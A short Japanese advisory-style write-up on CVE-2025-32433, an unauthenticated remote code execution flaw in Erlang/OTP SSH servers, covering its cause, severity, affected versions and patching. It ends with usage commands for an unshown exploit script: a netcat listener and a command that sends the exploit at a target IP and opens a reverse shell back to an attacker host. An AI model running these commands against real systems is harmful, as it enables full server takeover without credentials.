
CVE-2025-32433 の概要と攻撃の概要
CVE-2025-32433 の概要と攻撃の概要
CVE-2025-32433 は、2025年4月16日に公開された Erlang/OTP SSH サーバにおける、認証不要のリモートコード実行(RCE)の重大な脆弱性です。Erlang/OTP SSH は、さまざまな分散アプリケーションやテレコムアプリケーションで使用されるライブラリです。この欠陥は、SSH プロトコルメッセージの不適切な処理に起因します。サーバが通常の認証シーケンスを強制しないため、攻撃者は認証前に特別に細工された SSH メッセージを送信できます。これにより、攻撃者はサーバ上で任意の Erlang コードを注入して実行できます nvd.nist.gov offsec.com 。実際には、これは脆弱な Erlang/OTP SSH サーバ(多くの場合 root で実行)にネットワークアクセスできる攻撃者が、資格情報なしでリバースシェルを起動したりコマンドを実行したりできることを意味し、システム全体の完全な侵害につながります nvd.nist.gov offsec.com 。この脆弱性には CVSS 10.0(最大深刻度)が割り当てられています offsec.com 。
影響を受けるバージョンは、OTP-27.3.3、OTP-26.2.5.11、または OTP-25.3.2.20(パッチ適用済みバージョン)より前のすべての Erlang/OTP リリースです nvd.nist.gov offsec.com 。影響を受けるシステムには、Erlang ベースの SSH デーモン(OpenSSH とは異なります)を実行している Linux サーバやアプライアンスが含まれることがよくあります。重要なのは、Linux/BSD 上のデフォルトの OpenSSH サーバは影響を受けないことです offsec.com 。ユーザは、公開されている Erlang/OTP SSH サーバはすべて影響を受けると想定し、正式なパッチを適用するか、直ちに SSH サービスを無効にする必要があります。
この攻撃は、SSH 接続を開始し、その後 SSH メッセージのシーケンスを順序不同で送信することで機能します。:
使用方法:
sudo chmod +x exploit.py
nc -nvlp
python3 exploit.py -t -p 22 --lhost --lport
例:
nc -nvlp 5555
python3 exploit.py -t 10.10.22.111 -p 22 --lhost 10.12.33.111 --lport 55555